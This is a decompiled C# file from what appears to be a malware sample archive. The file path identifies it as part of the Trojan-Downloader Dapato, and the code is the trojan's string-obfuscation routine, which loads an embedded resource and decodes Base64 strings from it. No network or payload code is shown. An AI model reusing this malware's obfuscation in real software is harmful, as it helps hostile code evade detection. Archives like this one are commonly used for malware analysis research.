MalwareSourceCode/MSIL/Trojan-Downloader/Win32/D/Trojan-Downloader.Win32.Dapato.lnd-7f2f48002f973886553b938cc98149108eb2e39f2ac47324d3c731a4208c60fd/_0005/_0001.cs

// Decompiled with JetBrains decompiler
// Type: .

// Assembly: CSPharm, Version=1.0.0.0, Culture=neutral, PublicKeyToken=91f7ba0f4234404d
// MVID: E3EED34E-DEA0-448A-9147-166831419ACC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Downloader.Win32.Dapato.lnd-7f2f48002f973886553b938cc98149108eb2e39f2ac47324d3c731a4208c60fd.exe

using \u0002;
using \u0003;
using \u0005;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;

namespace \u0005
{
  internal sealed class \u0001
  {
    private static readonly string \u0001 = "0";
    private static readonly string \u0002 = "54";
    private static readonly byte[] \u0003 = (byte[]) null;
    private static readonly Hashtable \u0004 = (Hashtable) null;
    private static readonly bool \u0005 = false;
    private static readonly int \u0006 = 0;

    [\u0001]
    [\u0005.\u0002]
    public static string \u0001([In] int obj0)
    {
      obj0 -= \u0001.\u0006;
      if (\u0001.\u0005)
      {
        string str = (string) \u0001.\u0004[(object) obj0];
        if (str != null)
          return str;
      }
      int num1 = obj0;
      byte[] numArray1 = \u0001.\u0003;
      int index1 = num1;
      int index2 = index1 + 1;
      int num2 = (int) numArray1[index1];
      int count;
      if ((num2 & 128) == 0)
      {
        count = num2;
        if (count == 0)
          return string.Empty;
      }
      else if ((num2 & 64) == 0)
      {
        count = ((num2 & 63) << 8) + (int) \u0001.\u0003[index2++];
      }
      else
      {
        int num3 = (num2 & 31) << 24;
        byte[] numArray2 = \u0001.\u0003;
        int index3 = index2;
        int num4 = index3 + 1;
        int num5 = (int) numArray2[index3] << 16;
        int num6 = num3 + num5;
        byte[] numArray3 = \u0001.\u0003;
        int index4 = num4;
        int num7 = index4 + 1;
        int num8 = (int) numArray3[index4] << 8;
        int num9 = num6 + num8;
        byte[] numArray4 = \u0001.\u0003;
        int index5 = num7;
        index2 = index5 + 1;
        int num10 = (int) numArray4[index5];
        count = num9 + num10;
      }
      try
      {
        byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0003, index2, count));
        string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length));
        if (\u0001.\u0005)
        {
          try
          {
            \u0001.\u0004.Add((object) obj0, (object) str);
          }
          catch
          {
          }
        }
        return str;
      }
      catch
      {
        return (string) null;
      }
    }

    static \u0001()
    {
      if (\u0001.\u0001 == "1")
      {
        \u0001.\u0005 = true;
        \u0001.\u0004 = new Hashtable();
      }
      \u0001.\u0006 = Convert.ToInt32(\u0001.\u0002);
      using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{1e4f9d46-a55d-4bde-840e-075123ccac58}"))
      {
        int int32 = Convert.ToInt32(manifestResourceStream.Length);
        byte[] buffer = new byte[int32];
        manifestResourceStream.Read(buffer, 0, int32);
        \u0001.\u0003 = \u0001.\u0001(buffer);
        manifestResourceStream.Close();
      }
    }
  }
}